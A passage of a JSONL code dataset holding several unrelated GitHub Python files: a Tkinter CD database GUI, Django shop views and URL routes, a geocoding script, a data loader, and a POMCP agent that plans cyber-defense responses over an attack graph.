self.init_preorder_page()\r\n\r\n def init_preorder_page(self):\r\n preorder_title = tk.Label(self.preorder_frame, text=\"Open Preorders\", background=\"lightgray\", font=(\"Arial\", 16))\r\n preorder_title.pack(pady=20)\r\n\r\n # Add listbox\r\n self.preorder_listbox = tk.Listbox(self.preorder_frame)\r\n self.preorder_listbox.pack(fill=\"both\", expand=True, pady=10)\r\n\r\n # Add a Song button\r\n add_song_button = tk.Button(self.preorder_frame, text=\"Add a Song\", command=self.show_add_page, bg=\"lightgray\")\r\n add_song_button.pack(pady=10)\r\n\r\n # Search Song button\r\n search_song_button = tk.Button(self.preorder_frame, text=\"Search Song\", command=self.show_search_page, bg=\"lightgray\")\r\n search_song_button.pack(pady=10)\r\n \r\n def init_home_page(self):\r\n\r\n #Initiate home page\r\n home_title = tk.Label(self.home_frame, text=\"Welcome to the CD Database!\", background=\"lightgray\", font=(\"Arial\", 16))\r\n home_title.pack(pady=20)\r\n\r\n #Allows for only search functionality\r\n customer_button = tk.Button(self.home_frame, text=\"Customer Functions\", command=lambda: self.set_user_type('customer'), bg=\"lightgray\", height = 4, width = 20, font=(\"Arial\", 14))\r\n customer_button.pack(pady=10)\r\n\r\n #Allows for all functionality\r\n employee_button = tk.Button(self.home_frame, text=\"Employee Functions\", command=lambda: self.set_user_type('employee'), bg=\"lightgray\", height = 4, width = 20, font=(\"Arial\", 14))\r\n employee_button.pack(pady=10)\r\n\r\n def show_home_page(self):\r\n\r\n # Hide other frames and show the home frame\r\n self.search_frame.pack_forget()\r\n self.add_frame.pack_forget()\r\n self.preorder_frame.pack_forget()\r\n self.home_frame.pack(fill=\"both\", expand=True)\r\n\r\n # If there's an \"Add a Song\" button, hide it\r\n if hasattr(self, 'add_song_button'):\r\n self.add_song_button.pack_forget()\r\n\r\n def init_search_page(self):\r\n self.title = tk.Label(self.search_frame, text=\"Query our CD Database for any CD you're looking for!\", background=\"lightgray\", font=(\"Arial\", 16))\r\n self.title.pack(pady=20)\r\n \r\n self.search_entries = {}\r\n self.init_input_fields(self.search_frame, \"Click to Search\", self.search_db, self.search_entries)\r\n tk.Button(self.search_frame, text=\"Back to Home\", command=self.show_home_page, bg=\"lightgray\").pack(pady=10)\r\n \r\n def show_employee_functions(self):\r\n self.home_frame.pack_forget()\r\n self.search_frame.pack(fill=\"both\", expand=True)\r\n\r\n self.add_song_button = tk.Button(self.search_frame, text=\"Add a Song\", command=self.show_add_page, bg=\"lightgray\")\r\n self.add_song_button.pack(pady=10)\r\n\r\n # Create and pack the 'View Preorders' button here\r\n self.view_preorders_button = tk.Button(self.search_frame, text=\"View Preorders\", command=self.show_preorder_page, bg=\"lightgray\")\r\n self.view_preorders_button.pack(pady=10)\r\n\r\n def show_preorder_page(self):\r\n self.search_frame.pack_forget()\r\n self.add_frame.pack_forget()\r\n self.home_frame.pack_forget()\r\n\r\n self.populate_preorder_list()\r\n\r\n self.preorder_frame.pack(fill=\"both\", expand=True)\r\n\r\n def init_add_page(self):\r\n self.preorder_frame.pack_forget()\r\n self.add_title = tk.Label(self.add_frame, text=\"Add a song to the Database\", background=\"lightgray\", font=(\"Arial\", 16))\r\n self.add_title.pack(pady=20)\r\n \r\n self.add_entries = {}\r\n self.init_input_fields(self.add_frame, \"Add to Database\", self.add_to_db, self.add_entries)\r\n \r\n # Button to navigate back to the Search page or Home page\r\n tk.Button(self.add_frame, text=\"Back to Search\", command=self.show_search_page, bg=\"lightgray\").pack(pady=10)\r\n tk.Button(self.add_frame, text=\"Back to Home\", command=self.show_home_page, bg=\"lightgray\").pack(pady=10)\r\n\r\n \r\n #Creating input fields\r\n def init_input_fields(self, parent, button_text, button_command, entries_dict):\r\n subtitle = tk.Label(parent, text=\"If adding a song, fill out all fields. If searching for a song, just fill out the song name.\", background=\"lightgray\", font=(\"Arial\", 12))\r\n subtitle.pack(pady=10)\r\n \r\n self.entries = {}\r\n labels_text = [\"Song Name\", \"Artist Name\", \"Album Name\", \"Release Date\", \"Rating\", \"Genre\"] # Adjusted for all necessary fields\r\n for label in labels_text:\r\n frame = tk.Frame(parent, background=\"lightgray\")\r\n frame.pack(pady=10, fill=\"x\", expand=True)\r\n \r\n tk.Label(frame, text=label, background=\"lightgray\").grid(row=0, column=0, padx=10)\r\n entry = tk.Entry(frame, foreground=\"black\", bg=\"white\")\r\n entry.grid(row=0, column=1, padx=10)\r\n entry.insert(0, \"\")\r\n entries_dict[label] = entry\r\n\r\n # Button at the bottom of the input fields\r\n tk.Button(parent, text=button_text, command=button_command, bg=\"lightgray\").pack(pady=20)\r\n\r\n #Search db for song logic \r\n def search_db(self):\r\n # Get the search term for song name\r\n song_name = self.search_entries[\"Song Name\"].get()\r\n\r\n # Get the search term for album name\r\n album_name = self.search_entries[\"Album Name\"].get()\r\n\r\n print(f\"Song Name: '{song_name}', Album Name: '{album_name}'\")\r\n\r\n # Construct the query\r\n query_parts = []\r\n params = []\r\n\r\n if song_name: # only if there is a song_name given\r\n query_parts.append(\"song_name LIKE %s\")\r\n params.append('%' + song_name + '%')\r\n \r\n if album_name: # only if there is an album_name given\r\n query_parts.append(\"album_name LIKE %s\")\r\n params.append('%' + album_name + '%')\r\n\r\n if not query_parts: # if neither song_name nor album_name are given\r\n print(\"No search criteria provided!\")\r\n return\r\n\r\n query = \"SELECT * FROM song WHERE \" + \" OR \".join(query_parts)\r\n\r\n # Execute the query with the parameters\r\n cursor.execute(query, tuple(params))\r\n\r\n # Fetch and print results\r\n result = cursor.fetchall()\r\n for row in result:\r\n print(row)\r\n \r\n #Add to db logic\r\n def add_to_db(self):\r\n song_name = self.add_entries[\"Song Name\"].get()\r\n artist_name = self.add_entries[\"Artist Name\"].get()\r\n album_name = self.add_entries[\"Album Name\"].get()\r\n release_date = self.add_entries[\"Release Date\"].get()\r\n rating = self.add_entries[\"Rating\"].get()\r\n genre = self.add_entries[\"Genre\"].get()\r\n\r\n print(f\"Song Name: '{song_name}', Album Name: '{album_name}'\")\r\n\r\n cursor.execute(\"SELECT COUNT(*) FROM album WHERE album_name = %s\", (album_name,))\r\n album_exists = cursor.fetchone()[0]\r\n\r\n if not album_exists:\r\n queryAlbum = \"\"\"\r\n INSERT INTO album (artist, album_name, release_date, genre)\r\n VALUES (%s, %s, %s, %s)\r\n \"\"\"\r\n cursor.execute(queryAlbum, (artist_name, album_name, release_date, genre))\r\n \r\n querySong = \"\"\"\r\n INSERT INTO song (song_name, artist_name, album_name, release_date, rating)\r\n VALUES (%s, %s, %s, %s, %s)\r\n \"\"\"\r\n\r\n cursor.execute(querySong, (song_name, artist_name, album_name, release_date, rating))\r\n connection.commit()\r\n\r\n #Display add page \r\n def show_add_page(self):\r\n\r\n for entry in self.search_entries.values():\r\n entry.delete(0, tk.END)\r\n\r\n if self.user_type == 'employee':\r\n if not hasattr(self, 'add_song_button'):\r\n self.view_preorders_button.pack(pady=10)\r\n elif self.user_type == 'customer' and hasattr(self, 'add_song_button'):\r\n self.view_preorders_button.pack_forget()\r\n\r\n self.search_frame.pack_forget()\r\n self.preorder_frame.pack_forget()\r\n self.add_frame.pack(fill=\"both\", expand=True)\r\n\r\n self.home_frame.pack_forget()\r\n \r\n #Display search page\r\n def show_search_page(self):\r\n for entry in self.add_entries.values():\r\n entry.delete(0, tk.END)\r\n\r\n if self.user_type == 'employee':\r\n if not hasattr(self, 'add_song_button'):\r\n self.add_song_button = tk.Button(self.search_frame, text=\"Add a Song\", command=self.show_add_page, bg=\"lightgray\")\r\n self.add_song_button.pack(pady=10)\r\n self.view_preorders_button.pack(pady=10)\r\n elif self.user_type == 'customer' and hasattr(self, 'add_song_button'):\r\n self.add_song_button.pack_forget()\r\n\r\n self.home_frame.pack_forget()\r\n self.preorder_frame.pack_forget()\r\n self.add_frame.pack_forget()\r\n self.search_frame.pack(fill=\"both\", expand=True)\r\n \r\n #Function to set user type\r\n def set_user_type(self, user_type):\r\n self.user_type = user_type\r\n\r\n if self.user_type == 'employee':\r\n self.view_preorders_button.pack(pady=10)\r\n elif self.user_type == 'customer':\r\n self.view_preorders_button.pack_forget()\r\n \r\n self.show_search_page()\r\n\r\n def fetch_preorders(self):\r\n cursor.execute(\"SELECT * FROM pre_order\")\r\n return cursor.fetchall()\r\n \r\n def populate_preorder_list(self):\r\n #Clear existing list\r\n self.preorder_listbox.delete(0, tk.END)\r\n\r\n #Fetch all preorders\r\n preorders = self.fetch_preorders()\r\n for preorder in preorders:\r\n self.preorder_listbox.insert(tk.END, preorder)\r\n\r\nif __name__ == \"__main__\":\r\n root = tk.Tk()\r\n app = CDDBQueryApp(root)\r\n root.mainloop()\r\n","repo_name":"BigZeek/SE211-Record-StoreDB","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2367649789","text":"# -*- coding: utf-8 -*-\n\"\"\"PyTVC\n\n Python TradingView Chart\n\n - Author: Daniel J. Umpierrez\n - Created: 03-11-2018\n - License: UNLICENSE\n\"\"\"\nfrom pytvc.core import TradingViewChart\n\n__project__ = 'PyTVC'\n__package__ = 'pytvc'\n__author__ = 'Daniel J. Umpierrez'\n__license__ = 'UNLICENSE'\n__version__ = '0.1.4'\n__description__ = __doc__\n__site__ = f'https://github.com/havocesp/{__package__}'\n__email__ = 'umpierrez@pm.me'\n__keywords__ = ['altcoins', 'altcoin', 'exchange', 'pandas', 'bitcoin', 'trading', 'tradingview', 'chart', 'finance']\n__dependencies__ = ['ccxt', 'begins']\n\n__all__ = ['__description__', '__author__', '__license__', '__version__', '__project__', '__site__', '__email__',\n '__keywords__', 'TradingViewChart']\n","repo_name":"havocesp/pytvc","sub_path":"pytvc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"29"} +{"seq_id":"4337407837","text":"import pandas as pd\nimport numpy as np\n\n\nclass Dataset:\n \"\"\"\n A class to load and preprocess the dataset.\n :param path: The path to the csv file.\n \"\"\"\n\n def __init__(self, path):\n \"\"\"\n __init__ self\n The initialized object checks if the data is training type or testing type\n and parses labels accordingly.\n Note: The training data should have a column named \"category\" and the testing data should not.\n \"\"\"\n df = pd.read_csv(path, index_col=0)\n self.labels = None\n self.y = None\n self.num_classes = 0\n if \"category\" in df.columns:\n unique_labels = df[\"category\"].unique()\n self.labels = dict(zip(unique_labels, range(len(unique_labels))))\n self.num_classes = len(self.labels)\n df[\"category\"] = df[\"category\"].map(self.labels)\n self.y = df[\"category\"].values\n self.x = df.drop(\"category\", axis=1).values\n else:\n self.x = df.values\n\n def to_one_hot(self):\n \"\"\"\n Converts the output to be predicted to one-hot encoded vectors.\n \"\"\"\n if self.y is None:\n raise ValueError(\"No labels found in dataset\")\n else:\n self.y = np.eye(self.num_classes)[self.y]\n\n def get_cat_to_label(self):\n \"\"\"\n Returns a dictionary mapping the numerical labels to their original textual representation.\n \"\"\"\n return dict(zip(self.labels.values(), self.labels.keys()))\n\n\ndef write_to_csv(path, labels, mapping):\n \"\"\"\n Writes the predictions to a csv file.\n :param path: The path to the csv file.\n :param labels: The labels to be written.\n :param mapping: A dictionary mapping the numerical labels to their original textual representation.\n \"\"\"\n df = pd.DataFrame({\n \"Id\": list(range(len(labels))),\n \"Category\": [mapping[i] for i in labels]\n })\n df.set_index(\"Id\", inplace=True)\n df.to_csv(path)","repo_name":"viksit-siddhant/SML","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33956970846","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import People, Product, Category, Season, Color, Size, Brand\nfrom django.contrib import messages\nfrom .forms import UserRegisterForm, UserLoginForm, CartAddProductForm, OrderCreateForm, ChoiceForm\nfrom django.contrib.auth import login, logout\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.http import require_POST\nfrom .filters import ProductFilter\nfrom django.core.mail import EmailMessage\nfrom django.views import View\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.urls import reverse\nfrom .utils import token_generator\nfrom django.views import generic\nfrom .models import OrderItem\nfrom .cart import Cart\n\n\ndef index(request):\n people = People.objects.all()\n products = Product.objects.all()\n context = {\n 'people': people,\n 'products': products,\n }\n return render(request, 'index.html', context=context)\n\n\ndef catalogue(request):\n data = {}\n filtered_products = ProductFilter(request.GET, queryset=Product.objects.all())\n data['filtered_products'] = filtered_products\n return render(request, 'catalogue.html', data)\n\n\nclass CategoryListView(generic.ListView):\n model = Category\n category = Category.objects.all()\n template_name = 'category_list.html'\n\n\ndef get_category(request, category_id):\n product = Product.objects.filter(category_id=category_id)\n categories = Category.objects.all()\n category = Category.objects.filter(pk=category_id)\n context = {'category': category, 'categories': categories, 'product': product, }\n return render(request, 'category_list.html', context=context)\n\n\nclass SeasonListView(generic.ListView):\n model = Season\n season = Season.objects.all()\n template_name = 'season_list.html'\n\n\ndef get_season(request, season_id):\n product = Product.objects.all().filter(season=season_id)\n seasons = Season.objects.all()\n season = Season.objects.filter(pk=season_id)\n context = {'season': season, 'seasons': seasons, 'product': product, }\n return render(request, 'season_list.html', context=context)\n\n\nclass ColorListView(generic.ListView):\n model = Color\n color = Color.objects.all()\n template_name = 'color_list.html'\n\n\ndef get_color(request, color_id):\n product = Product.objects.all().filter(color=color_id)\n colors = Color.objects.all()\n color = Color.objects.filter(pk=color_id)\n context = {'color': color, 'colors': colors, 'product': product, }\n return render(request, 'color_list.html', context=context)\n\n\nclass SizeListView(generic.ListView):\n model = Size\n size = Size.objects.all()\n template_name = 'size_list.html'\n\n\ndef get_size(request, size_id):\n product = Product.objects.all().filter(size=size_id)\n sizes = Size.objects.all()\n size = Size.objects.filter(pk=size_id)\n context = {'size': size, 'sizes': sizes, 'product': product, }\n return render(request, 'size_list.html', context=context)\n\n\nclass BrandListView(generic.ListView):\n model = Brand\n brand = Brand.objects.all()\n template_name = 'brand_list.html'\n\n\ndef get_brand(request, brand_id):\n product = Product.objects.all().filter(brand_id=brand_id)\n brands = Brand.objects.all()\n brand = Brand.objects.filter(pk=brand_id)\n context = {'brands': brands, 'brand': brand, 'product': product, }\n return render(request, 'brand_list.html', context=context)\n\n\ndef register(request):\n if request.method == \"POST\":\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n user = form.save()\n email = user.email\n uidb64 = urlsafe_base64_encode(force_bytes(user.pk))\n domain = get_current_site(request).domain\n link = reverse('activate', kwargs={'uidb64': uidb64, 'token': token_generator.make_token(user)})\n activate_url = 'http://' + domain + link\n user.is_active = False\n email_subject = 'Activate your account'\n email_body = 'Привет ' + user.username + '! С помощью этой ссылки, активируйте свой аккаунт\\n' + activate_url\n email = EmailMessage(email_subject, email_body, '______________', [email])\n email.send(fail_silently=False)\n login(request, user)\n messages.success(request, 'Регистрация успешна. На электронную почту мы Вам выслали ссылку для активации. '\n 'Пожалуйста, перейдите по ней, чтобы активировать Ваш аккаунт.')\n return redirect('login')\n else:\n messages.error(request, 'Ошибка регистрации.')\n else:\n form = UserRegisterForm(request.POST)\n return render(request, 'register.html', {'form': form})\n\n\nclass VerificationView(View):\n def get(self, request, uidb64, token):\n\n try:\n id = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=id)\n if not token_generator.check_token(user, token):\n return redirect('index' + '?message=' + 'Пользователь уже активирован.')\n if user.is_active:\n return redirect('index')\n user.is_active = True\n user.save()\n messages.success(request, 'Регистрация успешно активирована')\n return redirect('index')\n except Exception as ex:\n pass\n return redirect('login')\n\n\ndef user_login(request):\n if request.method == \"POST\":\n form = UserLoginForm(data=request.POST)\n if form.is_valid():\n user = form.get_user()\n login(request, user)\n return redirect('/')\n else:\n form = UserLoginForm()\n return render(request, 'login.html', {'form': form})\n\n\ndef user_logout(request):\n logout(request)\n return redirect('login')\n\n\ndef product_detail(request, product_id):\n product = get_object_or_404(Product, id=product_id)\n cart_product_form = CartAddProductForm()\n return render(request, 'product.html', {'product': product,\n 'cart_product_form': cart_product_form})\n\n\ndef cart_detail(request):\n cart = Cart(request)\n for item in cart:\n item['update_quantity_form'] = CartAddProductForm(initial={'quantity': item['quantity'], 'update': True})\n\n return render(request, ('cart/detail.html', {'cart': cart}))\n\n\n@require_POST\ndef cart_add(request, product_id):\n cart = Cart(request)\n product = get_object_or_404(Product, id=product_id)\n form = CartAddProductForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n cart.add(product=product, quantity=cd['quantity'], update_quantity=cd['update'])\n return redirect('cart_detail')\n\n\ndef cart_remove(request, product_id):\n cart = Cart(request)\n product = get_object_or_404(Product, id=product_id)\n cart.remove(product)\n return redirect('cart_detail')\n\n\ndef order_create(request):\n cart = Cart(request)\n if request.method == 'POST':\n form = OrderCreateForm(request.POST)\n if form.is_valid():\n order = form.save()\n for item in cart:\n OrderItem.objects.create(order=order,\n product=item['product'],\n price=item['price'],\n quantity=item['quantity'])\n cart.clear()\n return render(request, 'orders/order/created.html', {'order': order})\n else:\n form = OrderCreateForm()\n return render(request, 'orders/order/create.html', {'form': form})\n","repo_name":"bezzubets/bkt","sub_path":"catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9285183923","text":"import urllib\nimport requests\nfrom parsingJson import key\nfrom get_colors import color\nimport os\n\n\nos.system(\"cls\")\nmain_api = \"https://maps.googleapis.com/maps/api/geocode/json?\"\naddress = \"san jose\"\nkey = key.primaryKey\n\nurl = main_api + urllib.urlencode({\"address\": address, \"key\": key})\n\njson_data = requests.get(url).json()\nwhile True:\n print(color.GREEN+\"GEOCODE API:\"+color.END)\n print(color.CYAN+\"*Type 'quit' or 'q' to exit the program.\"+color.END)\n address = raw_input(\"Input any address: \")\n \n if address == \"quit\" or address == \"q\":\n break\n \n url = main_api + urllib.urlencode({\"address\": address, \"key\": key})\n #print(url)\n\n json_data = requests.get(url).json()\n json_status = json_data[\"status\"]\n print(\"API Status: \" + json_status)\n\n if json_status == \"OK\":\n print(color.BOLD+\"LONG NAME:\"+color.END)\n for each in json_data[\"results\"][0][\"address_components\"]:\n print(each[\"long_name\"])\n\n print(color.BOLD+\"FORMATTED ADDRESS:\"+color.END)\n formatted_address = json_data[\"results\"][0][\"formatted_address\"]\n print(formatted_address)\n\n\n","repo_name":"frosteen/Freelance-Projects","sub_path":"(PYTHON,API)_NETWORK-DESIGN_Network Programmability Knowledge Session/NETWORK PROGAMMABILITY/WORKSHOPS/LAB2/08_json-parse7.py","file_name":"08_json-parse7.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"27131459086","text":"from django.urls import path\nfrom django.views.generic import TemplateView\n\nimport notes.views as notes\n\napp_name = 'notesapp'\n\nurlpatterns = [\n path('', notes.NoteListView.as_view(), name='app'),\n path(\"offline.html\", notes.offline),\n path('search/', notes.SearchResultsView.as_view(), name='search_results'),\n path('notes/', notes.NoteListView.as_view(), name='notes_list'),\n path('notes/tags/', notes.TagsCreateView.as_view(), name='tags'),\n path('notes/tags/delete//', notes.TagsDeleteView.as_view(), name='tag_delete'),\n path('notes/tags/collection//', notes.NoteTagListView.as_view(), name='tag_posts_list'),\n path('notes/tags/update//', notes.TagUpdateView.as_view(), name='tag_update'),\n path('notes/create/', notes.NoteCreateView.as_view(), name='post_create'),\n path('notes/detail//', notes.NoteDetailView.as_view(), name='post_detail'),\n path('notes/update//', notes.NoteUpdateView.as_view(), name='post_update'),\n path('notes/basket/', notes.NoteBasketListView.as_view(), name='posts_basket_list'),\n path('notes/basket/add/', notes.NoteBasketDelUpdateView.as_view(), name='post_basket_add'),\n path('notes/basket/detail/', notes.NoteBasketDetailView.as_view(), name='post_basket_detail'),\n path('notes/basket/return/', notes.NoteReturnActiveUpdateView.as_view(), name='post_basket_return'),\n path('notes/basket/delete//', notes.NoteBasketDeleteView.as_view(), name='post_basket_delete'),\n path('notes/favorites/', notes.NoteFavoriteListView.as_view(), name='posts_favorites')\n]\n","repo_name":"GarbGitHub/notes","sub_path":"post_inn/notes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73069871759","text":"from ..core.agent import Agent\nfrom timeit import default_timer as timer\nfrom time import sleep\nimport time\nfrom ..utils.helpers import powerset, UCB, find_the_key\nfrom ..utils.older_history_tree import HistoryTree\nfrom ..utils import helpers\nfrom numpy.random import choice, binomial\nfrom ..core.generator_for_agent import generator\nfrom ..core.attack_graph import AttackGraph\nimport random\nimport matplotlib.pyplot as plt\nimport os\nimport logging\n\nfrom ..envs.cns_toy_env_data import init_data\n\nclass POMCP(Agent):\n\n def __init__(self, attack_graph, attacker_types, generator = generator, gamma = 0.87, c = 3, \\\n threshold = 0.0001, timeout = 500, no_particles = 1200, max_procs = 16):\n logging.debug(\"NEW AGENT !!!!!\")\n self.output = {}\n self.output_counts = {}\n self.state_belief = []\n self.type_belief = []\n self.prior = []\n self.prior_type = []\n\n self.__attack_graph = attack_graph\n self.generator = generator\n self.e = threshold\n self.c = c\n self.no_process = max_procs\n self.timeout = int( timeout ) \n self.no_particles = no_particles \n self.init_state = {}\n leaf_nodes, leaf_execcode = init_data('leaf nodes')\n \n for k in attack_graph.security_conditions.keys():\n if k in leaf_nodes:\n if k in leaf_execcode:\n self.init_state[k] = 0.5\n else:\n self.init_state[k] = 1.0\n else:\n self.init_state[k] = 0.0\n\n logging.debug(\"[POMCP NEW] (Constructor) self.init_state = {0}\".format(self.init_state))\n\n self.types = attacker_types\n self.actions = self.__attack_graph.actions\n self.actions_indices = list(self.actions.keys())\n self.exploits = self.__attack_graph.exploits\n self.exploits_indices = list(self.exploits.keys())\n self.alerts = self.__attack_graph.alerts\n self.alert_indices = self.alerts.keys()\n super(POMCP, self).__init__(gamma)\n self.tree = HistoryTree()\n\n def get_agents_belief(self) -> list:\n return ( choice(self.tree.nodes[-1][4]), choice(self.tree.nodes[-1][5]) )\n\n def __posterior_sample(self, Bh, Btype, action, observation):\n force_true = False\n sampling_timeout = int(os.environ.get(\"POSTERIOR_SAMPLE_TIMEOUT\")) or 80\n if sampling_timeout <= 0:\n logging.warning(\"[POSTERIOR SAMPLE] Invalid value for 'sampling_timeout' (= {0}), default value used.\".format(sampling_timeout))\n sampling_timeout = 80\n\n counter = 0\n start = time.time()\n while True:\n counter += 1\n if Bh == []:\n sampled_state_from_prior = self.init_state\n else:\n sampled_state_index = choice(range(len(Bh)))\n sampled_state_from_prior = Bh[sampled_state_index]\n if Btype == []:\n sampled_attacker_type_from_prior = choice(self.types)\n else:\n sampled_attacker_type_from_prior = choice(Btype)\n\n proposed_posterior_sample_state, proposed_posterior_sample_attacker_type, o_next, _ ,\\\n available_exploits = self.generator.generate(sampled_state_from_prior, \\\n sampled_attacker_type_from_prior, action, True)\n\n alerts_in_Zs = [].copy()\n for exploit in available_exploits:\n for alert in self.alert_indices:\n if alert in self.generator.exploit_alert_triggered_by_attacker[exploit].keys():\n if sampled_attacker_type_from_prior in \\\n self.generator.exploit_alert_triggered_by_attacker[exploit][alert].keys():\n alerts_in_Zs += [alert]\n alerts_in_Zs = set(alerts_in_Zs)\n\n Condition = True\n for alert in alerts_in_Zs:\n if (alert in observation and alert not in o_next) or \\\n (alert not in observation and alert in o_next):\n Condition = False\n break\n\n if Condition:\n num_positive_false_alarms = len([alert for alert in observation \\\n if alert not in alerts_in_Zs])\n num_negative_false_alarms = len(self.alert_indices) - \\\n len(alerts_in_Zs) - num_positive_false_alarms\n\n pfalse = self.generator.get_p_false_alarm(list(self.alert_indices)[0], sampled_attacker_type_from_prior)\n pfalsemax = None\n for i in self.types:\n p_f_alarm = self.generator.get_p_false_alarm(list(self.alert_indices)[0], i)\n dummy = p_f_alarm**num_positive_false_alarms * (1 - p_f_alarm)**num_negative_false_alarms\n if pfalsemax is None or pfalsemax < dummy:\n pfalsemax = dummy\n\n p_bar = pfalse**num_positive_false_alarms * (1 - pfalse)**num_negative_false_alarms\n p_accept = p_bar / pfalsemax \n\n if binomial(1, p_accept) or force_true:\n stop = time.time()\n return proposed_posterior_sample_state, proposed_posterior_sample_attacker_type\n\n if counter > sampling_timeout:\n force_true = True\n logging.debug(\"[POSTERIOR SAMPLE] Forcing __posterior_sample to end at the next matched sample.\")\n\n def update_belief(self, action, observation, Smoothing = False):\n obs = hash(str(observation))\n prior_belief = []\n prior_type_belief = []\n for dic in self.prior:\n action_node = dic[-1][1][action]\n observation_node = dic[action_node][1][obs] if obs in dic[action_node][1].keys() else None\n if observation_node is not None:\n prior_belief += dic[observation_node][4]\n prior_type_belief += dic[observation_node][5] \n self.prior[:] = []\n if Smoothing:\n prior_type_belief = prior_type_belief + prior_type_belief + self.types\n \n self.tree.nodes[-1][4] = [].copy()\n self.tree.nodes[-1][5] = [].copy()\n for _ in range(self.no_particles):\n post_sample = self.__posterior_sample(prior_belief, prior_type_belief, action, observation)\n self.tree.nodes[-1][4].append(post_sample[0])\n self.tree.nodes[-1][5].append(post_sample[1])\n \n\n def respond(self):\n self.__search()\n ret = None\n max = None\n try:\n for k in self.output.keys():\n if self.output_counts[k] != 0:\n aggregate = self.output[k]/self.output_counts[k]\n if max is None or aggregate > max:\n max = aggregate\n ret = k\n \n self.output.clear()\n self.output_counts.clear()\n except Exception as e:\n logging.error(e)\n ret = \"action1\"\n logging.error(\"[POMCP NEW] ///////// erring /////////\")\n\n assert ret is not None, 'Retry'\n return ret\n\n \n def __search_best(self, h):\n max_value = None\n best_action_node_key = None\n best_action = None\n if self.tree.nodes[h][4] != -1:\n children = self.tree.nodes[h][1]\n for action, child in children.items():\n if self.tree.nodes[child][2] == 0:\n return action, child\n ucb = UCB(self.tree.nodes[h][2], self.tree.nodes[child][2], \n self.tree.nodes[child][3], self.c)\n if max_value is None or max_value < ucb:\n max_value = ucb\n best_action_node_key = child\n best_action = action\n return best_action, best_action_node_key\n\n\n def __search(self):\n Bh = self.tree.nodes[-1][4].copy()\n phi = self.tree.nodes[-1][5].copy()\n for _ in range(self.timeout):\n if Bh == []:\n sampled_state = self.init_state\n else:\n sampled_state_index = choice(range(len(Bh)))\n sampled_state = Bh[sampled_state_index]\n if phi == []:\n sampled_attacker_type = random.choice(self.types)\n else:\n sampled_attacker_type = choice(phi)\n self.__Simulate(sampled_state, sampled_attacker_type, -1, 0)\n children = self.tree.nodes[-1][1]\n\n for key, value in children.items():\n self.prior.append(self.tree.nodes)\n if key in self.output.keys():\n self.output[key] += self.tree.nodes[value][3]\n self.output_counts[key] += self.tree.nodes[value][2]\n else:\n self.output[key] = self.tree.nodes[value][3]\n self.output_counts[key] = self.tree.nodes[value][2]\n self.state_belief += self.tree.nodes[-1][4]\n self.type_belief += self.tree.nodes[-1][5]\n\n return \n\n def __get_observation_node(self,h,sample_observation):\n sample_observation.sort(key=lambda x: int(x.split(\"-\")[1]))\n ob = hash(str(sample_observation))\n if ob is None:\n raise ValueError(\"Observation is None\")\n if ob not in list(self.tree.nodes[h][1].keys()):\n self.tree.ExpandTreeFrom(h, ob)\n Next_node = self.tree.nodes[h][1][ob]\n return Next_node\n\n def __rollout(self, s, phi, depth):\n if (self.gamma**depth < self.e or self.gamma == 0 ) and depth != 0:\n return 0\n\n\n action = choice(self.actions_indices)\n sample_state, _, _, r = self.generator.generate(s, phi, action) \n cum_reward = r + self.gamma*self.__rollout(sample_state, phi, depth + 1)\n\n return cum_reward\n\n def __Simulate(self, s, φ, h, depth):\n if (self.gamma**depth < self.e or self.gamma == 0 ) and depth != 0:\n return 0\n\n if self.tree.isLeafNode(h):\n for action in self.actions:\n self.tree.ExpandTreeFrom(h, action, IsAction=True)\n new_value = self.__rollout(s, φ, depth)\n self.tree.nodes[h][2] += 1\n self.tree.nodes[h][3] = new_value\n self.tree.nodes[h][4] = [s]\n self.tree.nodes[h][5] = [φ]\n return new_value\n \n \n next_action, next_node = self.__search_best(h)\n sample_state, sample_type, sample_observation, reward = self.generator.generate(s, φ, next_action) \n Next_node = self.__get_observation_node(next_node,sample_observation)\n \n cum_reward = reward + self.gamma*self.__Simulate(sample_state, sample_type, Next_node, depth + 1)\n \n self.tree.nodes[h][4].append(s)\n self.tree.nodes[h][5].append(φ)\n self.tree.nodes[h][2] += 1\n self.tree.nodes[next_node][2] += 1\n self.tree.nodes[next_node][3] += (cum_reward - self.tree.nodes[next_node][3])/self.tree.nodes[next_node][2]\n return cum_reward\n\n def __posterior_sample_simple(self, Bh, Btype, action, observation, api_state):\n while True:\n if Bh == []:\n sampled_state_from_prior = self.init_state\n else:\n sampled_state_index = choice(range(len(Bh)))\n sampled_state_from_prior = Bh[sampled_state_index]\n if Btype == []:\n sampled_attacker_type_from_prior = choice(self.types)\n else:\n sampled_attacker_type_from_prior = choice(Btype)\n\n proposed_posterior_sample_state, proposed_posterior_sample_attacker_type, _ , succesful_attempts, \\\n available_exploits = self.generator.generate_simple(sampled_state_from_prior, sampled_attacker_type_from_prior, \\\n action, observation, api_state, True)\n\n alerts_in_Zs = [].copy()\n for exploit in available_exploits:\n for alert in self.alert_indices:\n if alert in self.generator.exploit_alert_triggered_by_attacker[exploit].keys():\n if sampled_attacker_type_from_prior in self.generator.exploit_alert_triggered_by_attacker[exploit][alert].keys():\n alerts_in_Zs += [alert]\n alerts_in_Zs = set(alerts_in_Zs)\n\n 